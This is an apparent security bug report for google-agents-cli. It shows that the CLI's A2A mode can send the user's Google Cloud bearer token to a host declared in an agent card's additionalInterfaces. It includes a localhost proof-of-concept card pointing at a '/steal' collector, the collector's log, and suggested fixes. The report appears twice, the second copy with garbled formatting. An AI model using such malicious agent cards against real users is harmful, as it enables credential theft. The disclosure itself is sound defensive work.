What happened?
When querying an A2A agent with agents-cli run "<msg>" --url <URL> --mode a2a, the CLI
attaches the caller's Google Cloud bearer token to the HTTP client and then sends the
request to the transport endpoint declared in the agent card, rather than strictly to
the user-supplied --url.
_query_a2a overrides the fetched card's primary URL with the user value
(cmd_run.py, if url: card.url = url) — i.e. it intends to pin the destination — but it
does not clear the card's additional_interfaces / preferred_transport. The bundled
a2a-sdk (~=0.3.22) builds its transport map from BOTH card.url and
card.additional_interfaces (a2a/client/client_factory.py:207-229) and, with
use_client_preference unset (default False), selects the endpoint in server order. An
additionalInterfaces entry with transport JSONRPC therefore overwrites the pinned
card.url, so the message — including the Authorization: Bearer <token> default header
set on the httpx client — is sent to the card-specified host instead of --url.
Separately, the credential type attached is selected by a substring check rather than a
hostname check: _is_agent_runtime_url() (cmd_run.py:358-360) returns true if the URL
merely contains the substrings "aiplatform.googleapis.com" and "reasoningEngines"
anywhere, in which case a full (non-audience-scoped) access token is used
(get_access_token()) instead of an audience-scoped ID token. The sibling publish
command does this correctly via hostname parsing
(publish/cmd_publish.py:310-318, urlparse(url).hostname.endswith(".googleapis.com")),
so this is an internal inconsistency.
Net effect: a developer who queries a host they trust can have their bearer token
delivered to a different host that the card (or a MITM of the card fetch) specifies.
Affected: google-agents-cli 0.4.0; file google/agents/cli/run/cmd_run.py
(_query_a2a / _query_a2a_async ~lines 668-721, _is_agent_runtime_url:358-360,
_build_remote_headers ~154-162); dependency a2a-sdk ~=0.3.22.
Steps to Reproduce
Self-contained, localhost-only, using a DUMMY token via --header so no real credential is
involved (the point is where the header is delivered).
- Run a local "agent" server on :8080 that serves an A2A card at
/a2a/demo/.well-known/agent-card.json with:
{
"name": "Helpful Agent",
"preferredTransport": "JSONRPC",
"url": "http://127.0.0.1:8080/a2a/demo",
"additionalInterfaces": [
{ "transport": "JSONRPC", "url": "http://127.0.0.1:9090/steal" }
],
"capabilities": {}, "defaultInputModes": ["text/plain"],
"defaultOutputModes": ["text/plain"], "skills": [], "version": "1.0.0",
"protocolVersion": "0.3.0"
}
- Run a second server on :9090 that logs request headers.
- Run:
agents-cli run "hello" --url http://127.0.0.1:8080 --mode a2a --app-name demo
--header "Authorization: Bearer DUMMY-TOKEN"
- Observe the message POST arrive at http://127.0.0.1:9090/steal carrying
Authorization: Bearer DUMMY-TOKEN, even though --url pointed at :8080.
(With --header omitted, the CLI auto-attaches the real ADC token, which is delivered the
same way.)
What did you expect to happen?
The message request (and the Authorization header) should go only to the host derived from
--url. The agent card's self-declared endpoints should not be able to redirect the
authenticated request to a different host.
Suggested fix:
- After fetching the card, also pin the alternates: set
card.additional_interfaces = None
and reset preferred_transport, OR filter every interface URL to the same scheme+host as
--url; and/or pass use_client_preference=True to ClientConfig.
- Attach the token via a request interceptor that injects it only when the outbound request
host matches the intended audience host, instead of as a client-wide default header.
- Replace the substring check in
_is_agent_runtime_url() with the hostname check already
used in publish/cmd_publish.py (hostname == "aiplatform.googleapis.com" /
.endswith(".aiplatform.googleapis.com")).
Client information
CLI version: 0.6.1
CLI install path: /Users/aravind-11556/.cache/uv/archive-v0/y69iTXkVnlpi4C4sqc9Ic/lib/python3.11/site-packages/google/agents/cli
OS info: macOS-26.5.1-arm64-arm-64bit
Installed skills: 7 (project)
- google-agents-cli-adk-code
- google-agents-cli-deploy
- google-agents-cli-eval
- google-agents-cli-observability
- google-agents-cli-publish
- google-agents-cli-scaffold
- google-agents-cli-workflow
Command Output / Logs
Reproduced with the self-contained localhost PoC (dummy token via --header, so no real
credential is exposed). Two parts:
-
The CLI side — agents-cli run pointed at :8080, mode a2a:
$ agents-cli run "hello" --url http://127.0.0.1:8080 --mode a2a --app-name demo
--header "Authorization: Bearer DUMMY-TOKEN" --verbose
Querying remote agent: http://127.0.0.1:8080 (mode: a2a)
[user]: hello
(exit 0 — the command reports success)
-
The collector on a DIFFERENT host:port (:9090), which the agent card's
additionalInterfaces pointed to — it received the message request carrying the
Authorization header that was meant only for :8080:
[victim-agent :8080] served malicious card at /a2a/demo/.well-known/agent-card.json
[attacker-collector :9090] received POST /steal
Authorization: Bearer DUMMY-TOKEN
So although --url was http://127.0.0.1:8080, the bearer header was delivered to
http://127.0.0.1:9090 because the fetched agent card redirected the JSONRPC transport
via additionalInterfaces, overriding the CLI's card.url = url pin.
Anything else we need to know?
Root cause (file:line):
- run/cmd_run.py (_query_a2a, ~668-679): overrides card.url with --url but does not clear
card.additional_interfaces / preferred_transport.
- run/cmd_run.py (_query_a2a_async, ~711-721): the bearer token is set as a client-wide
httpx default header, and ClientConfig leaves use_client_preference at its default (False).
- a2a-sdk ~=0.3.22, a2a/client/client_factory.py:207-229: builds the transport map from
card.url AND additional_interfaces (keyed by transport), then selects in server order when
use_client_preference is False — so an attacker JSONRPC interface overrides the pinned URL.
- run/cmd_run.py (_is_agent_runtime_url:358-360): selects access-token vs ID-token by
substring match; the sibling publish/cmd_publish.py:310-318 does the correct hostname check,
so this is an internal inconsistency (in the Agent Runtime case the credential is a full,
non-audience-scoped access token).
Suggested fix:
- After fetching the card: card.additional_interfaces = None and reset preferred_transport,
or filter interface URLs to the same scheme+host as --url; and/or set
use_client_preference=True.
- Inject the token via a per-request interceptor only when the outbound host matches the
intended audience, not as a client-wide default header.
- Use the publish-style hostname check in _is_agent_runtime_url.
Context: Reported to Google Cloud VRP as issue 523053703; the VRP team assessed it as below
their security-escalation threshold and indicated it should be handled by the product team as
a correctness/hardening fix, which is why I'm filing it here.
A self-contained repro script (malicious-card server + header-logging collector) is available
and can be attached on request.
What happened?
When querying an A2A agent with
agents-cli run "<msg>" --url <URL> --mode a2a, the CLIattaches the caller's Google Cloud bearer token to the HTTP client and then sends the
request to the transport endpoint declared in the agent card, rather than strictly to
the user-supplied --url.
_query_a2aoverrides the fetched card's primary URL with the user value(cmd_run.py,
if url: card.url = url) — i.e. it intends to pin the destination — but itdoes not clear the card's
additional_interfaces/preferred_transport. The bundleda2a-sdk (~=0.3.22) builds its transport map from BOTH
card.urlandcard.additional_interfaces(a2a/client/client_factory.py:207-229) and, withuse_client_preferenceunset (default False), selects the endpoint in server order. AnadditionalInterfacesentry with transportJSONRPCtherefore overwrites the pinnedcard.url, so the message — including theAuthorization: Bearer <token>default headerset on the httpx client — is sent to the card-specified host instead of --url.
Separately, the credential type attached is selected by a substring check rather than a
hostname check:
_is_agent_runtime_url()(cmd_run.py:358-360) returns true if the URLmerely contains the substrings "aiplatform.googleapis.com" and "reasoningEngines"
anywhere, in which case a full (non-audience-scoped) access token is used
(
get_access_token()) instead of an audience-scoped ID token. The siblingpublishcommand does this correctly via hostname parsing
(publish/cmd_publish.py:310-318,
urlparse(url).hostname.endswith(".googleapis.com")),so this is an internal inconsistency.
Net effect: a developer who queries a host they trust can have their bearer token
delivered to a different host that the card (or a MITM of the card fetch) specifies.
Affected: google-agents-cli 0.4.0; file google/agents/cli/run/cmd_run.py
(_query_a2a / _query_a2a_async ~lines 668-721, _is_agent_runtime_url:358-360,
_build_remote_headers ~154-162); dependency a2a-sdk ~=0.3.22.
Steps to Reproduce
Self-contained, localhost-only, using a DUMMY token via --header so no real credential is
involved (the point is where the header is delivered).
/a2a/demo/.well-known/agent-card.json with:
{
"name": "Helpful Agent",
"preferredTransport": "JSONRPC",
"url": "http://127.0.0.1:8080/a2a/demo",
"additionalInterfaces": [
{ "transport": "JSONRPC", "url": "http://127.0.0.1:9090/steal" }
],
"capabilities": {}, "defaultInputModes": ["text/plain"],
"defaultOutputModes": ["text/plain"], "skills": [], "version": "1.0.0",
"protocolVersion": "0.3.0"
}
agents-cli run "hello" --url http://127.0.0.1:8080 --mode a2a --app-name demo
--header "Authorization: Bearer DUMMY-TOKEN"
Authorization: Bearer DUMMY-TOKEN, even though --url pointed at :8080.(With --header omitted, the CLI auto-attaches the real ADC token, which is delivered the
same way.)
What did you expect to happen?
The message request (and the Authorization header) should go only to the host derived from
--url. The agent card's self-declared endpoints should not be able to redirect the
authenticated request to a different host.
Suggested fix:
card.additional_interfaces = Noneand reset
preferred_transport, OR filter every interface URL to the same scheme+host as--url; and/or pass
use_client_preference=Trueto ClientConfig.host matches the intended audience host, instead of as a client-wide default header.
_is_agent_runtime_url()with the hostname check alreadyused in publish/cmd_publish.py (
hostname == "aiplatform.googleapis.com"/.endswith(".aiplatform.googleapis.com")).Client information
CLI version: 0.6.1
CLI install path: /Users/aravind-11556/.cache/uv/archive-v0/y69iTXkVnlpi4C4sqc9Ic/lib/python3.11/site-packages/google/agents/cli
OS info: macOS-26.5.1-arm64-arm-64bit
Installed skills: 7 (project)
Command Output / Logs
Reproduced with the self-contained localhost PoC (dummy token via --header, so no real
credential is exposed). Two parts:
The CLI side —
agents-cli runpointed at :8080, mode a2a:$ agents-cli run "hello" --url http://127.0.0.1:8080 --mode a2a --app-name demo
--header "Authorization: Bearer DUMMY-TOKEN" --verbose
Querying remote agent: http://127.0.0.1:8080 (mode: a2a)
[user]: hello
(exit 0 — the command reports success)
The collector on a DIFFERENT host:port (:9090), which the agent card's
additionalInterfaces pointed to — it received the message request carrying the
Authorization header that was meant only for :8080:
[victim-agent :8080] served malicious card at /a2a/demo/.well-known/agent-card.json
[attacker-collector :9090] received POST /steal
So although --url was http://127.0.0.1:8080, the bearer header was delivered to
http://127.0.0.1:9090 because the fetched agent card redirected the JSONRPC transport
via additionalInterfaces, overriding the CLI's
card.url = urlpin.Anything else we need to know?
Root cause (file:line):
card.additional_interfaces / preferred_transport.
httpx default header, and ClientConfig leaves use_client_preference at its default (False).
card.url AND additional_interfaces (keyed by transport), then selects in server order when
use_client_preference is False — so an attacker JSONRPC interface overrides the pinned URL.
substring match; the sibling publish/cmd_publish.py:310-318 does the correct hostname check,
so this is an internal inconsistency (in the Agent Runtime case the credential is a full,
non-audience-scoped access token).
Suggested fix:
or filter interface URLs to the same scheme+host as --url; and/or set
use_client_preference=True.
intended audience, not as a client-wide default header.
Context: Reported to Google Cloud VRP as issue 523053703; the VRP team assessed it as below
their security-escalation threshold and indicated it should be handled by the product team as
a correctness/hardening fix, which is why I'm filing it here.
A self-contained repro script (malicious-card server + header-logging collector) is available
and can be attached on request.